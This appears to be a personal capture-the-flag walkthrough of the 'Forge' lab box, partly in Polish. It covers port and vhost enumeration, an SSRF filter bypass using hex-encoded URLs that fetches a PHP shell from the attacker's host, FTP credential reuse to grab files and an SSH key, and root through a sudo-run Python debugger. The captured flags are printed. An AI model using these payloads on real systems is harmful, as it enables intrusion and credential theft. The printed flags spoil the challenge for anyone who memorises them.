Forge - 16.09.2021


NMap

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -T4 -p- 10.10.11.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-16 19:07 CEST
Nmap scan report for 10.10.11.111
Host is up (0.068s latency).
Not shown: 65532 closed ports
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

FeroxBuster

403        9l       28w      274c http://forge.htb/server-status
301        9l       28w      307c http://forge.htb/static
200       33l       58w      929c http://forge.htb/upload
301        4l       24w      224c http://forge.htb/uploads

Strona główna


Subdomain Enumeration

gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://forge.htb -o subdomains.txt

Dodaje admin.forge.htb do /etc/hosts


Versions

SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3


SSRF

Użytkownicy spoza sieci nie mają dostępu, czy na pewno?

https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b

Url encoding, każda litera do hex z %

http://%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62 = http://localhost

http://%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62/announcements = http://localhost/annoucements

user:heightofsecurity123!

?u=<url>

?u=http://10.10.14.17/shell1.php

http://%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62/upload?u=http://10.10.14.17/shell1.php

http://%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62/uploads/shell1.php


Logging to ftp and getting file in one line

http://%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62/upload?u=ftp://user:heightofsecurity123!@%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62/user.txt

curl http://forge.htb/uploads/spt8Gf7bjV4qYPfulCkl             
be16212b32110b8cf52778cc09d29040

user.txt

be16212b32110b8cf52778cc09d29040

Getting id_rsa

http://%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62/upload?u=ftp://user:heightofsecurity123!@%61%64%6d%69%6e%2e%66%6f%72%67%65%2e%68%74%62/.ssh/id_rsa


Privilege Escalation

sudo -l

user@forge:/tmp$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

Jest to aplikacja do wyswielania roznych komend

Gdy zostało wpisane cokolwiek poza 1-4, program uruchomił się ponownie. Wpisanie litery wyrzuciło błąd, ale uzyskany zosstał dostęp do debuggera

A tam bardzo łatwo można uzyskać roota poprzez komende poniżej, bo program uruchomiony został z sudo

import os; os.system("/bin/sh")

root.txt

52d850661d016c4d71e33b19e9072198